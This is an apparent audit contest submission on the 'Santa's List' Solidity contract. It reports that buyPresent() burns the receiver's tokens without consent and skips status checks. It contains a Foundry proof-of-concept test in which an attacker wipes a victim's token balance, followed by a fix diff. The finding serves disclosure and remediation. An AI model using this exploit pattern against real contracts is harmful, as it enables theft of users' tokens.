First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`SantasList::buyPresent()` function burns tokens without permission AND doesn't check caller status

0xloscar01

Summary

The buyPresent function presents 2 issues:

  1. It incorrectly burns tokens from the presentReceiver account instead of the msg.sender account.

  2. The person's status is not checked when calling buyPresent(), therefore the cost of buying a present is the same for any person regardless of his status.

Vulnerability Details

Test case

Copy paste the following function inside SantasListTest.t.sol

function testBurnSomeoneElseTokensBuyPresentForMe() public {
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
​
vm.startPrank(santa); // victim status is EXTRA_NICE so they get a present and 1e18 of SantaToken
santasList.checkList(victim, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(victim, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1); // warp to christmas
​
vm.prank(victim);
santasList.collectPresent(); // victim collects present
​
assertEq(santaToken.balanceOf(victim), 1e18); // victim has 1e18 of SantaToken
​
vm.prank(attacker);
santasList.buyPresent(victim); // attacker calls buyPresent with the victim's address as the argument
​
assertEq(santaToken.balanceOf(victim), 0); // victim now has 0 SantaToken
assertEq(santasList.balanceOf(attacker), 1); // attacker now has 1 present
}

Impact

  1. Any user can burn tokens from another user's balance without their consent.

  2. Addresses with NAUGHTY status can buy presents for a normal price

Tools Used

Manual review

Recommendations

  1. Burn msg.sender tokens and mint a present for presentReceiver

  2. Check buyPresent() caller status

  3. Add an uint256 amount argument to SantaToken::burn() function

SantasList.sol

function buyPresent(address presentReceiver) external {
- i_santaToken.burn(presentReceiver);
- _mintAndIncrement();
+ if (s_theListCheckedOnce[msg.sender] == Status.NAUGHTY && s_theListCheckedTwice[msg.sender] == Status.NAUGHTY) {
+ i_santaToken.burn(msg.sender, PURCHASED_PRESENT_COST);
+ } else {
+ i_santaToken.burn(msg.sender, 1e18);
+ }
+ _safeMint(presentReceiver, s_tokenCounter++);
}

SantaToken.sol

- function burn(address from) external {
+ function burn(address from, uint256 amount) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
- _burn(from, 1e18);
+ _burn(from, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

buyPresent should send to presentReceiver

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.